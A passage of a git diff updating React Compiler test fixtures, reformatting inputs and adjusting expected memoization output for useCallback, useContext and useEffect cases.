index ab29207958a4..c0984e32193d 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-dont-preserve-memoization-guarantee.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-dont-preserve-memoization-guarantee.js
@@ -1,11 +1,6 @@
-// @enablePreserveExistingMemoizationGuarantees:false
-import { useCallback } from "react";
-import {
-  identity,
-  makeObject_Primitives,
-  mutate,
-  useHook,
-} from "shared-runtime";
+// @enablePreserveExistingMemoizationGuarantees:false @validateExhaustiveMemoizationDependencies:false
+import {useCallback} from 'react';
+import {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';
 
 function Component(props) {
   const free = makeObject_Primitives();
@@ -24,5 +19,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-preserve-memoization-guarantee.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-preserve-memoization-guarantee.expect.md
index 2b9d17290667..16169a74d716 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-preserve-memoization-guarantee.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-preserve-memoization-guarantee.expect.md
@@ -3,13 +3,8 @@
 
 ```javascript
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import {
-  identity,
-  makeObject_Primitives,
-  mutate,
-  useHook,
-} from "shared-runtime";
+import {useCallback} from 'react';
+import {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';
 
 function Component(props) {
   const free = makeObject_Primitives();
@@ -20,14 +15,14 @@ function Component(props) {
     const x = makeObject_Primitives();
     x.value = props.value;
     mutate(x, free, part);
-  }, [props.value]);
+  }, [props.value, free, part]);
   mutate(free, part);
   return callback;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-preserve-memoization-guarantee.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-preserve-memoization-guarantee.js
index c21bca942120..e9d11525e2c2 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-preserve-memoization-guarantee.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-maybe-modify-free-variable-preserve-memoization-guarantee.js
@@ -1,11 +1,6 @@
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback } from "react";
-import {
-  identity,
-  makeObject_Primitives,
-  mutate,
-  useHook,
-} from "shared-runtime";
+import {useCallback} from 'react';
+import {identity, makeObject_Primitives, mutate, useHook} from 'shared-runtime';
 
 function Component(props) {
   const free = makeObject_Primitives();
@@ -16,12 +11,12 @@ function Component(props) {
     const x = makeObject_Primitives();
     x.value = props.value;
     mutate(x, free, part);
-  }, [props.value]);
+  }, [props.value, free, part]);
   mutate(free, part);
   return callback;
 }
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ value: 42 }],
+  params: [{value: 42}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-multiple-callbacks-modifying-same-ref-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-multiple-callbacks-modifying-same-ref-preserve-memoization.expect.md
index 003455885288..12eee85f66bb 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-multiple-callbacks-modifying-same-ref-preserve-memoization.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-multiple-callbacks-modifying-same-ref-preserve-memoization.expect.md
@@ -3,12 +3,12 @@
 
 ```javascript
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+import {useCallback, useRef} from 'react';
 
 function Component(props) {
-  const ref = useRef({ inner: null });
+  const ref = useRef({inner: null});
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current.inner = event.target.value;
@@ -35,7 +35,7 @@ import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemo
 import { useCallback, useRef } from "react";
 
 function Component(props) {
-  const $ = _c(6);
+  const $ = _c(4);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = { inner: null };
@@ -65,13 +65,11 @@ function Component(props) {
   }
   const onReset = t2;
   let t3;
-  if ($[3] !== onChange || $[4] !== onReset) {
+  if ($[3] === Symbol.for("react.memo_cache_sentinel")) {
     t3 = <input onChange={onChange} onReset={onReset} />;
-    $[3] = onChange;
-    $[4] = onReset;
-    $[5] = t3;
+    $[3] = t3;
   } else {
-    t3 = $[5];
+    t3 = $[3];
   }
   return t3;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-multiple-callbacks-modifying-same-ref-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-multiple-callbacks-modifying-same-ref-preserve-memoization.js
index 9031ae221aca..b2876e98336e 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-multiple-callbacks-modifying-same-ref-preserve-memoization.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-multiple-callbacks-modifying-same-ref-preserve-memoization.js
@@ -1,10 +1,10 @@
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+import {useCallback, useRef} from 'react';
 
 function Component(props) {
-  const ref = useRef({ inner: null });
+  const ref = useRef({inner: null});
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current.inner = event.target.value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-ref-in-render.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-ref-in-render.expect.md
new file mode 100644
index 000000000000..e1427437ce86
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-ref-in-render.expect.md
@@ -0,0 +1,76 @@
+
+## Input
+
+```javascript
+// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees
+import {useCallback, useRef} from 'react';
+
+component Foo() {
+  const ref = useRef();
+
+  const s = useCallback(() => {
+    return ref.current;
+  });
+
+  return <A r={s} />;
+}
+
+component A(r: mixed) {
+  return <div />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+
+## Code
+
+```javascript
+import { c as _c } from "react/compiler-runtime";
+import { useCallback, useRef } from "react";
+
+function Foo() {
+  const $ = _c(2);
+  const ref = useRef();
+  let t0;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t0 = () => ref.current;
+    $[0] = t0;
+  } else {
+    t0 = $[0];
+  }
+  const s = t0;
+  let t1;
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = <A r={s} />;
+    $[1] = t1;
+  } else {
+    t1 = $[1];
+  }
+  return t1;
+}
+
+function A(t0) {
+  const $ = _c(1);
+  let t1;
+  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
+    t1 = <div />;
+    $[0] = t1;
+  } else {
+    t1 = $[0];
+  }
+  return t1;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
+
+```
+      
+### Eval output
+(kind: ok) <div></div>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-ref-in-render.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-ref-in-render.js
new file mode 100644
index 000000000000..9fefa503203e
--- /dev/null
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-ref-in-render.js
@@ -0,0 +1,21 @@
+// @flow @validateRefAccessDuringRender @validatePreserveExistingMemoizationGuarantees
+import {useCallback, useRef} from 'react';
+
+component Foo() {
+  const ref = useRef();
+
+  const s = useCallback(() => {
+    return ref.current;
+  });
+
+  return <A r={s} />;
+}
+
+component A(r: mixed) {
+  return <div />;
+}
+
+export const FIXTURE_ENTRYPOINT = {
+  fn: Foo,
+  params: [],
+};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-dont-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-dont-preserve-memoization.expect.md
deleted file mode 100644
index 2e469a824b7b..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-dont-preserve-memoization.expect.md
+++ /dev/null
@@ -1,70 +0,0 @@
-
-## Input
-
-```javascript
-// @enablePreserveExistingMemoizationGuarantees:false
-import { useCallback, useRef } from "react";
-
-function Component(props) {
-  const ref = useRef({ inner: null });
-
-  const onChange = useCallback((event) => {
-    // The ref should still be mutable here even though function deps are frozen in
-    // @enablePreserveExistingMemoizationGuarantees mode
-    ref.current.inner = event.target.value;
-  });
-
-  ref.current.inner = null;
-
-  return <input onChange={onChange} />;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{}],
-};
-
-```
-
-## Code
-
-```javascript
-import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemoizationGuarantees:false
-import { useCallback, useRef } from "react";
-
-function Component(props) {
-  const $ = _c(3);
-  let t0;
-  if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
-    t0 = { inner: null };
-    $[0] = t0;
-  } else {
-    t0 = $[0];
-  }
-  const ref = useRef(t0);
-
-  const onChange = (event) => {
-    ref.current.inner = event.target.value;
-  };
-
-  ref.current.inner = null;
-  let t1;
-  if ($[1] !== onChange) {
-    t1 = <input onChange={onChange} />;
-    $[1] = onChange;
-    $[2] = t1;
-  } else {
-    t1 = $[2];
-  }
-  return t1;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{}],
-};
-
-```
-      
-### Eval output
-(kind: ok) <input>
\ No newline at end of file
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-dont-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-dont-preserve-memoization.js
deleted file mode 100644
index f2a39e4ec696..000000000000
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-dont-preserve-memoization.js
+++ /dev/null
@@ -1,21 +0,0 @@
-// @enablePreserveExistingMemoizationGuarantees:false
-import { useCallback, useRef } from "react";
-
-function Component(props) {
-  const ref = useRef({ inner: null });
-
-  const onChange = useCallback((event) => {
-    // The ref should still be mutable here even though function deps are frozen in
-    // @enablePreserveExistingMemoizationGuarantees mode
-    ref.current.inner = event.target.value;
-  });
-
-  ref.current.inner = null;
-
-  return <input onChange={onChange} />;
-}
-
-export const FIXTURE_ENTRYPOINT = {
-  fn: Component,
-  params: [{}],
-};
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-preserve-memoization.expect.md
index eb702061cc23..864c746fcc0b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-preserve-memoization.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-preserve-memoization.expect.md
@@ -3,12 +3,12 @@
 
 ```javascript
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+import {useCallback, useRef} from 'react';
 
 function Component(props) {
-  const ref = useRef({ inner: null });
+  const ref = useRef({inner: null});
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current.inner = event.target.value;
@@ -31,7 +31,7 @@ import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemo
 import { useCallback, useRef } from "react";
 
 function Component(props) {
-  const $ = _c(4);
+  const $ = _c(3);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t0 = { inner: null };
@@ -51,12 +51,11 @@ function Component(props) {
   }
   const onChange = t1;
   let t2;
-  if ($[2] !== onChange) {
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
     t2 = <input onChange={onChange} />;
-    $[2] = onChange;
-    $[3] = t2;
+    $[2] = t2;
   } else {
-    t2 = $[3];
+    t2 = $[2];
   }
   return t2;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-preserve-memoization.js
index 8ee70dc4deca..3cd5d56fcbc1 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-preserve-memoization.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property-preserve-memoization.js
@@ -1,10 +1,10 @@
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+import {useCallback, useRef} from 'react';
 
 function Component(props) {
-  const ref = useRef({ inner: null });
+  const ref = useRef({inner: null});
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current.inner = event.target.value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property.expect.md
index e479758734e2..77dbb0dcd516 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property.expect.md
@@ -2,14 +2,14 @@
 ## Input
 
 ```javascript
-import { useCallback, useRef } from "react";
+import {useCallback, useRef} from 'react';
 
 // Identical to useCallback-set-ref-nested-property-preserve-memoization,
 // but with a different set of compiler flags
 function Component({}) {
-  const ref = useRef({ inner: null });
+  const ref = useRef({inner: null});
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current.inner = event.target.value;
@@ -34,7 +34,7 @@ import { useCallback, useRef } from "react";
 // Identical to useCallback-set-ref-nested-property-preserve-memoization,
 // but with a different set of compiler flags
 function Component(t0) {
-  const $ = _c(4);
+  const $ = _c(3);
   let t1;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
     t1 = { inner: null };
@@ -54,12 +54,11 @@ function Component(t0) {
   }
   const onChange = t2;
   let t3;
-  if ($[2] !== onChange) {
+  if ($[2] === Symbol.for("react.memo_cache_sentinel")) {
     t3 = <input onChange={onChange} />;
-    $[2] = onChange;
-    $[3] = t3;
+    $[2] = t3;
   } else {
-    t3 = $[3];
+    t3 = $[2];
   }
   return t3;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property.js
index 5b2f2ae4533b..af82281ef0ba 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-nested-property.js
@@ -1,11 +1,11 @@
-import { useCallback, useRef } from "react";
+import {useCallback, useRef} from 'react';
 
 // Identical to useCallback-set-ref-nested-property-preserve-memoization,
 // but with a different set of compiler flags
 function Component({}) {
-  const ref = useRef({ inner: null });
+  const ref = useRef({inner: null});
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current.inner = event.target.value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-dont-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-dont-preserve-memoization.expect.md
index 69556ed7ffdf..43d6f1d712a3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-dont-preserve-memoization.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-dont-preserve-memoization.expect.md
@@ -3,12 +3,12 @@
 
 ```javascript
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+import {useCallback, useRef} from 'react';
 
 function Component(props) {
   const ref = useRef(null);
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current = event.target.value;
@@ -31,7 +31,7 @@ import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemo
 import { useCallback, useRef } from "react";
 
 function Component(props) {
-  const $ = _c(3);
+  const $ = _c(2);
   const ref = useRef(null);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
@@ -44,12 +44,11 @@ function Component(props) {
   }
   const onChange = t0;
   let t1;
-  if ($[1] !== onChange) {
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
     t1 = <input onChange={onChange} />;
-    $[1] = onChange;
-    $[2] = t1;
+    $[1] = t1;
   } else {
-    t1 = $[2];
+    t1 = $[1];
   }
   return t1;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-dont-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-dont-preserve-memoization.js
index f9e5c9b171c4..124a1f79095a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-dont-preserve-memoization.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-dont-preserve-memoization.js
@@ -1,10 +1,10 @@
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+import {useCallback, useRef} from 'react';
 
 function Component(props) {
   const ref = useRef(null);
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current = event.target.value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-preserve-memoization.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-preserve-memoization.expect.md
index 69556ed7ffdf..43d6f1d712a3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-preserve-memoization.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-preserve-memoization.expect.md
@@ -3,12 +3,12 @@
 
 ```javascript
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+import {useCallback, useRef} from 'react';
 
 function Component(props) {
   const ref = useRef(null);
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current = event.target.value;
@@ -31,7 +31,7 @@ import { c as _c } from "react/compiler-runtime"; // @enablePreserveExistingMemo
 import { useCallback, useRef } from "react";
 
 function Component(props) {
-  const $ = _c(3);
+  const $ = _c(2);
   const ref = useRef(null);
   let t0;
   if ($[0] === Symbol.for("react.memo_cache_sentinel")) {
@@ -44,12 +44,11 @@ function Component(props) {
   }
   const onChange = t0;
   let t1;
-  if ($[1] !== onChange) {
+  if ($[1] === Symbol.for("react.memo_cache_sentinel")) {
     t1 = <input onChange={onChange} />;
-    $[1] = onChange;
-    $[2] = t1;
+    $[1] = t1;
   } else {
-    t1 = $[2];
+    t1 = $[1];
   }
   return t1;
 }
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-preserve-memoization.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-preserve-memoization.js
index f9e5c9b171c4..124a1f79095a 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-preserve-memoization.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useCallback-set-ref-value-preserve-memoization.js
@@ -1,10 +1,10 @@
 // @enablePreserveExistingMemoizationGuarantees
-import { useCallback, useRef } from "react";
+import {useCallback, useRef} from 'react';
 
 function Component(props) {
   const ref = useRef(null);
 
-  const onChange = useCallback((event) => {
+  const onChange = useCallback(event => {
     // The ref should still be mutable here even though function deps are frozen in
     // @enablePreserveExistingMemoizationGuarantees mode
     ref.current = event.target.value;
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-maybe-mutate-context-in-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-maybe-mutate-context-in-callback.expect.md
index 8cd7402b47b8..0525a0f7cdd9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-maybe-mutate-context-in-callback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-maybe-mutate-context-in-callback.expect.md
@@ -2,11 +2,11 @@
 ## Input
 
 ```javascript
-import * as React from "react";
-import { useContext } from "react";
-import { mutate } from "shared-runtime";
+import * as React from 'react';
+import {useContext} from 'react';
+import {mutate} from 'shared-runtime';
 
-const FooContext = React.createContext({ current: null });
+const FooContext = React.createContext({current: null});
 
 function Component(props) {
   const Foo = useContext(FooContext);
@@ -22,7 +22,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ children: <div>Hello</div> }],
+  params: [{children: <div>Hello</div>}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-maybe-mutate-context-in-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-maybe-mutate-context-in-callback.js
index c4f4d9202528..99a8fa749694 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-maybe-mutate-context-in-callback.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-maybe-mutate-context-in-callback.js
@@ -1,8 +1,8 @@
-import * as React from "react";
-import { useContext } from "react";
-import { mutate } from "shared-runtime";
+import * as React from 'react';
+import {useContext} from 'react';
+import {mutate} from 'shared-runtime';
 
-const FooContext = React.createContext({ current: null });
+const FooContext = React.createContext({current: null});
 
 function Component(props) {
   const Foo = useContext(FooContext);
@@ -18,5 +18,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ children: <div>Hello</div> }],
+  params: [{children: <div>Hello</div>}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback-if-condition.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback-if-condition.expect.md
index f6d2745e6ab4..84f25ec25772 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback-if-condition.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback-if-condition.expect.md
@@ -2,10 +2,10 @@
 ## Input
 
 ```javascript
-import { createContext, useContext } from "react";
-import { Stringify } from "shared-runtime";
+import {createContext, useContext} from 'react';
+import {Stringify} from 'shared-runtime';
 
-const FooContext = createContext({ current: true });
+const FooContext = createContext({current: true});
 
 function Component(props) {
   const foo = useContext(FooContext);
@@ -39,41 +39,33 @@ import { Stringify } from "shared-runtime";
 const FooContext = createContext({ current: true });
 
 function Component(props) {
-  const $ = _c(6);
+  const $ = _c(4);
   const foo = useContext(FooContext);
   let t0;
   if ($[0] !== foo.current) {
-    t0 = () => {
+    const getValue = () => {
       if (foo.current) {
         return {};
       } else {
         return null;
       }
     };
+    t0 = getValue();
     $[0] = foo.current;
     $[1] = t0;
   } else {
     t0 = $[1];
   }
-  const getValue = t0;
+  const value = t0;
   let t1;
-  if ($[2] !== getValue) {
-    t1 = getValue();
-    $[2] = getValue;
+  if ($[2] !== value) {
+    t1 = <Stringify value={value} />;
+    $[2] = value;
     $[3] = t1;
   } else {
     t1 = $[3];
   }
-  const value = t1;
-  let t2;
-  if ($[4] !== value) {
-    t2 = <Stringify value={value} />;
-    $[4] = value;
-    $[5] = t2;
-  } else {
-    t2 = $[5];
-  }
-  return t2;
+  return t1;
 }
 
 export const FIXTURE_ENTRYPOINT = {
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback-if-condition.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback-if-condition.js
index 3a0ef8f53cc0..06655ed51b6b 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback-if-condition.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback-if-condition.js
@@ -1,7 +1,7 @@
-import { createContext, useContext } from "react";
-import { Stringify } from "shared-runtime";
+import {createContext, useContext} from 'react';
+import {Stringify} from 'shared-runtime';
 
-const FooContext = createContext({ current: true });
+const FooContext = createContext({current: true});
 
 function Component(props) {
   const foo = useContext(FooContext);
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback.expect.md
index 2ff3641d20e2..e805b7f400e3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback.expect.md
@@ -2,9 +2,9 @@
 ## Input
 
 ```javascript
-import { createContext, useContext } from "react";
+import {createContext, useContext} from 'react';
 
-const FooContext = createContext({ current: null });
+const FooContext = createContext({current: null});
 
 function Component(props) {
   const foo = useContext(FooContext);
@@ -17,7 +17,7 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ children: <div>Hello</div> }],
+  params: [{children: <div>Hello</div>}],
 };
 
 ```
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback.js b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback.js
index 74a89458377f..6d3b177905d3 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback.js
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useContext-read-context-in-callback.js
@@ -1,6 +1,6 @@
-import { createContext, useContext } from "react";
+import {createContext, useContext} from 'react';
 
-const FooContext = createContext({ current: null });
+const FooContext = createContext({current: null});
 
 function Component(props) {
   const foo = useContext(FooContext);
@@ -13,5 +13,5 @@ function Component(props) {
 
 export const FIXTURE_ENTRYPOINT = {
   fn: Component,
-  params: [{ children: <div>Hello</div> }],
+  params: [{children: <div>Hello</div>}],
 };
diff --git a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-arg-memoized.expect.md b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-arg-memoized.expect.md
index eadd8b7de8b7..5822cc5149e9 100644
--- a/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-arg-memoized.expect.md
+++ b/compiler/packages/babel-plugin-react-compiler/src/__tests__/fixtures/compiler/useEffect-arg-memoized.expect.md
@@ -9,7 +9,7 @@ function Component(props) {
   // onUpdate should be memoized even though it doesn't
   // flow into the return value
   const onUpdate = () => {
